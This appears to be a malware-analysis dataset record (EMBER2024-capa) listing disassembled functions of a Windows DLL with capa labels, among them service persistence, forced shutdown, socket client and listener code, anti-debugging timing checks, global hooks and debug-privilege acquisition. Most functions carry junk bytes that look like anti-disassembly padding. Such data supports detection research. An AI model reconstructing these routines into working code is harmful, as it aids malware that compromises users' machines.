joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000303d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
nop
nop
nop
nop
je 0x10002eca
sub dword [edx], ebp
sub ebx, dword [eax - 0x48]
add dword [eax], eax
add byte [eax], al
pop eax
mov eax, 1
and eax, eax
je 0x100030ad
mov dword [ebp - 8], 0
xor ecx, ecx
mov dword [ebp - 4], ecx
lea edx, [ebp - 8]
push edx
mov ecx, dword [ebp - 0xc]
add ecx, 0x70
call fcn.100057d0
and eax, eax
jne 0x10002efc
jmp 0x100030ad
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x7532
ja 0x10002f38
cmp dword [ebp - 0x10], 0x7532
je 0x10003069
mov ecx, dword [ebp - 0x10]
sub ecx, 0x1f41
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0x13
ja case.0x10002f31.11
mov edx, dword [ebp - 0x10]
jmp dword [edx*4 + 0x100030b9]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
sub dword [ebp - 0x14], 0x7534
cmp dword [ebp - 0x14], 0
je 0x10003075
sub dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0
je 0x10003083
jmp case.0x10002f31.11
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0x100026b0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov edx, dword [ebp - 4]
push edx
push 0
push 0x10002500
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov eax, dword [ebp - 4]
push eax
push 0
push 0x10002580
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0x10002600
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov edx, dword [ebp - 4]
push edx
push 0
push 0x10002730
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov eax, dword [ebp - 4]
push eax
push 0
push 0x100027e0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0x10002860
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov edx, dword [ebp - 8]
push edx
push 0
push 0x100029b0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov eax, dword [ebp - 8]
push eax
push 0
push 0x10002a60
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0x10002b70
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov edx, dword [ebp - 0xc]
push edx
push 0
push 0x10002c20
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov ecx, dword [ebp - 0xc]
call fcn.10002da0
xor eax, eax
jmp 0x100030b2
push 0
mov ecx, dword [ebp - 0xc]
call fcn.100036e0
xor eax, eax
jmp 0x100030b2
push 1
mov ecx, dword [ebp - 0xc]
call fcn.100036e0
xor eax, eax
jmp 0x100030b2
push 0
push 0
push 0
mov ecx, dword [ebp - 0xc]
add ecx, 0x70
call fcn.10004d10
and eax, eax
jne 0x100030a8
jmp 0x100030ad
jmp 0x10002ecb
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003053
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
nop
nop
nop
nop
je 0x10002eca
sub dword [edx], ebp
sub ebx, dword [eax - 0x48]
add dword [eax], eax
add byte [eax], al
pop eax
mov eax, 1
and eax, eax
je 0x100030ad
mov dword [ebp - 8], 0
xor ecx, ecx
mov dword [ebp - 4], ecx
lea edx, [ebp - 8]
push edx
mov ecx, dword [ebp - 0xc]
add ecx, 0x70
call fcn.100057d0
and eax, eax
jne 0x10002efc
jmp 0x100030ad
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x7532
ja 0x10002f38
cmp dword [ebp - 0x10], 0x7532
je 0x10003069
mov ecx, dword [ebp - 0x10]
sub ecx, 0x1f41
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0x13
ja case.0x10002f31.11
mov edx, dword [ebp - 0x10]
jmp dword [edx*4 + 0x100030b9]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
sub dword [ebp - 0x14], 0x7534
cmp dword [ebp - 0x14], 0
je 0x10003075
sub dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0
je 0x10003083
jmp case.0x10002f31.11
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0x100026b0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov edx, dword [ebp - 4]
push edx
push 0
push 0x10002500
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov eax, dword [ebp - 4]
push eax
push 0
push 0x10002580
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0x10002600
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov edx, dword [ebp - 4]
push edx
push 0
push 0x10002730
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov eax, dword [ebp - 4]
push eax
push 0
push 0x100027e0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0x10002860
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov edx, dword [ebp - 8]
push edx
push 0
push 0x100029b0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov eax, dword [ebp - 8]
push eax
push 0
push 0x10002a60
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0x10002b70
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov edx, dword [ebp - 0xc]
push edx
push 0
push 0x10002c20
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f31.11
mov ecx, dword [ebp - 0xc]
call fcn.10002da0
xor eax, eax
jmp 0x100030b2
push 0
mov ecx, dword [ebp - 0xc]
call fcn.100036e0
xor eax, eax
jmp 0x100030b2
push 1
mov ecx, dword [ebp - 0xc]
call fcn.100036e0
xor eax, eax
jmp 0x100030b2
push 0
push 0
push 0
mov ecx, dword [ebp - 0xc]
add ecx, 0x70
call fcn.10004d10
and eax, eax
jne 0x100030a8
jmp 0x100030ad
jmp 0x10002ecb
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003110
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
xor eax, eax
xor eax, eax
nop
nop
nop
nop
je 0x1000312a
sub dword [edx], ebp
sub ebx, dword [eax + 0x6a]
add byte [edx], ch
pop eax
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0x10]
push eax
push 1
push 2
push 1
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10003163
xor eax, eax
jmp 0x10003172
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10003180
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
nop
nop
nop
nop
je 0x1000319a
sub dword [edx], ebp
sub ebx, dword [eax + 0x68]
inc dword [ecx]
str word [ebx - 0x74aff3bb]
dec ebp
or byte [ecx - 1], dl
adc eax, sym.imp.ADVAPI32.dll_OpenServiceA
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100031bb
xor eax, eax
jmp 0x100031d9
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10003290
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x28], ecx
push eax
xor eax, eax
xor eax, eax
nop
nop
nop
nop
je 0x100032aa
sub dword [edx], ebp
sub ebx, dword [eax + 0x68]
inc dword [ecx]
str word [ebx - 0x74aff3bb]
dec ebp
or byte [ecx - 1], dl
adc eax, sym.imp.ADVAPI32.dll_OpenServiceA
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100032cb
xor eax, eax
jmp 0x100032eb
lea edx, [ebp - 0x20]
push edx
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x24]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10003300
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
nop
nop
nop
nop
je 0x1000331a
sub dword [edx], ebp
sub ebx, dword [eax + 0x68]
inc dword [ecx]
str word [ebx - 0x74aff3bb]
dec ebp
or byte [ecx - 1], dl
adc eax, sym.imp.ADVAPI32.dll_OpenServiceA
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000333b
xor eax, eax
jmp 0x10003355
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x100036e0
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x24], ecx
push eax
xor eax, eax
xor eax, eax
nop
nop
nop
nop
je 0x100036fa
sub dword [edx], ebp
sub ebx, dword [eax - 0x39]
inc ebp
in al, 1
add byte [eax], al
add bh, bh
adc eax, sym.imp.KERNEL32.dll_GetCurrentThread
pop eax
mov dword [ebp - 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
push 0x100140e0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], 2
push 2
call dword [sym.imp.ADVAPI32.dll_ImpersonateSelf]
lea eax, [ebp - 0x20]
push eax
push 1
push 0x20
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
push 0
push 0
push 0x10
lea edx, [ebp - 0x1c]
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [0x10012074]
cmp dword [ebp + 8], 0
je 0x10003771
push 4
push 8
call dword [sym.imp.USER32.dll_ExitWindowsEx]
jmp 0x1000377b
push 4
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10005cf0
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
nop
nop
nop
nop
je 0x10005d07
sub dword [edx], ebp
sub ebx, dword [eax - 0x39]
inc ebp
clc
add byte [esi + 5], bl
pop eax
mov dword [ebp - 8], 0x5265c00
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 0x18], 2
mov cx, word [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x10005d4e
xor eax, eax
jmp 0x10005df0
push 0x10
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10005d71
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10005df0
push 4
lea edx, [ebp - 8]
push edx
push 0x1005
push 0xffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x10005d9e
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10005df0
push 4
lea edx, [ebp - 8]
push edx
push 0x1006
push 0xffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x10005dcb
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10005df0
push bind
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x10005ded
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10005df0
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006160
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
nop
nop
nop
nop
je 0x1000617a
sub dword [edx], ebp
sub ebx, dword [eax + 0x66]
mov dword [ebp - 0x10], 0xc0330000
pop eax
mov word [ebp - 0x10], 0
xor eax, eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
mov dword [ebp - 0x18], 0x10
mov dword [ebp - 0x128], 0
mov byte [ebp - 0x120], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x10006270
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jne 0x10006208
xor eax, eax
jmp 0x10006357
mov word [ebp - 0x138], 0
xor edx, edx
mov dword [ebp - 0x136], edx
mov dword [ebp - 0x132], edx
mov dword [ebp - 0x12e], edx
mov word [ebp - 0x12a], dx
mov eax, dword [ebp - 0x13c]
movsx ecx, word [eax + 0xa]
mov edx, dword [ebp - 0x13c]
mov eax, dword [edx + 0xc]
mov esi, dword [eax]
lea edi, [ebp - 0x134]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x134]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
mov ax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], 2
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xffffffff
jne 0x100062b7
xor eax, eax
jmp 0x10006357
mov ecx, dword [ebp - 0x18]
push ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100062e2
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006357
mov dword [ebp - 0x124], 1
push 4
lea edx, [ebp - 0x124]
push edx
push 1
push 6
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
and eax, eax
je 0x1000631b
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006357
mov dword [ebp - 0x14], 1
push 4
lea edx, [ebp - 0x14]
push edx
push 8
push 0xffff
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
and eax, eax
je 0x10006351
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006357
mov eax, dword [ebp - 0x128]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006450
Capabilities:
Check for time delay via queryperformancecounter
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x2c], ecx
push eax
xor eax, eax
xor eax, eax
nop
nop
nop
nop
je 0x1000646a
sub dword [edx], ebp
sub ebx, dword [eax - 1]
adc eax, sym.imp.KERNEL32.dll_GetCurrentProcess
pop eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 0x20], eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
push 0x10
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x28]
push eax
call fcn.100112d0
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
adc edx, dword [ebp - 0xc]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], edx
rdtsc
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x24]
jg 0x1000650f
jl 0x10006503
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x28]
jae 0x1000650f
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
jmp 0x100064f1
rdtsc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
sbb eax, dword [ebp - 4]
push 0
push 0xf424
push eax
push edx
call fcn.100112d0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009070
Capabilities:
Create thread
Set global application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
nop
nop
nop
nop
je 0x10009087
sub dword [edx], ebp
sub ebx, dword [eax + 0x6a]
add byte [edx], ch
pop eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x100146a8], eax
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x100146ac], eax
push 0
push 0
push 0x10009680
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 8], eax
push 0x2000000
push 0
push 0
push 0x10013ce9
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100090f5
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x10015c10], 0
jne 0x10009119
push 0
mov ecx, dword [0x10014864]
push ecx
push 0x10008d20
push 4
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c10], eax
cmp dword [0x10015c0c], 0
jne 0x1000913d
push 0
mov edx, dword [0x10014864]
push edx
push 0x10008c40
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c0c], eax
push 0x2000000
push 0
push 0
push 0x10014348
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10009164
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x10015c14], 0
jne 0x10009188
push 0
mov ecx, dword [0x10014864]
push ecx
push 0x10008f30
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c14], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100091a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
jg 0x100091b0
je 0x100091b7
nop
nop
sub dword [edx], ebp
sub ebx, dword [eax + 0x6a]
add byte [eax - 0x80], ch
add byte [eax], al
add byte [edx + 4], ch
pop eax
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x100091e1
xor eax, eax
jmp 0x10009229
push 2
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a1e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
nop
nop
nop
nop
je 0x1000a1fa
sub dword [edx], ebp
sub ebx, dword [eax - 0x39]
inc ebp
cld
add byte [eax], al
add byte [eax], al
pop eax
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a22b
xor eax, eax
jmp 0x1000a2be
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x110], 0x104
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push 0
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a285
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x1000a2be
mov ecx, dword [ebp - 0x110]
lea esi, [ebp - 0x10c]
mov edi, dword [ebp + 0x14]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a2b9
xor eax, eax
jmp 0x1000a2be
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a360
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
nop
nop
nop
nop
je 0x1000a377
sub dword [edx], ebp
sub ebx, dword [eax - 0x73]
inc ebp
in al, dx
pop eax
lea eax, [ebp - 0x14]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [ebp - 0xc]
push ecx
push 0x100144ec
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov dword [ebp - 0x10], 1
mov dword [ebp - 4], 2
push 0
push 0
push 0
lea edx, [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret